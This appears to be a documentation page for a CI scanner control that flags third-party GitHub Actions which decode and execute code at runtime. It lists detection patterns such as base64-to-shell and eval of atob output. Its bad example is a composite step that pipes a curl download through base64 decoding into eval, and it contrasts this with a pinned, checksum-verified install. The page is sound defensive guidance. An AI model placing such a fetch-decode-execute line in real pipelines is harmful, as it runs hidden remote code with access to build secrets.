Action obfuscates a remote code fetch/exec
Control: Actions must not execute mutable remote code· Config key: actionsMustNotExecuteMutableRemoteCode
📋 What is this?
A third-party action's own source decodes and then executes code — base64 -d | sh, eval "$(… | base64 -d)", eval(atob(…)), new Function(atob(x)), a hex/xxd decode piped to a shell, and similar. The command that actually runs is hidden until runtime.
⚠️ Impact
No legitimate action needs to hide what it runs at runtime, so decode-then-execute is treated as the strongest signal regardless of the host, ref, or encoding used. It is the shape used to smuggle a fetch-and-run past both a SHA pin and a human reviewer.
🔧 How to fix
Remove the obfuscation. If the action is a dependency, drop or vendor it and replace the hidden fetch with an explicit, pinned, checksum-verified install. An action that must decode data at runtime should never feed that decoded value into a shell or eval.
# action.yml (inside the third-party action): ❌ hides what it runsruns: using: composite steps: - shell: bash run: eval "$(curl -sSL https://example.com/p | base64 -d)" # ^ the payload is decoded at runtime, so neither a SHA pin nor # a reviewer sees the command that actually executes# action.yml: ✅ explicit, pinned, verifiedruns: using: composite steps: - shell: bash run: | curl -sSL -o tool https://example.com/releases/v1.2.3/tool echo "EXPECTED_SHA256 tool" | sha256sum -c - ./tool💡 Tips
- This deliberately does not chase every possible encoding — it flags the act of hiding, which is what makes a clean result meaningful.
- Because hiding is the signal, this fires regardless of whether the fetched ref is a branch, tag, or SHA.
⚙️ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
actionsMustNotExecuteMutableRemoteCode:
enabled: trueSee the CLI documentation for the full configuration reference.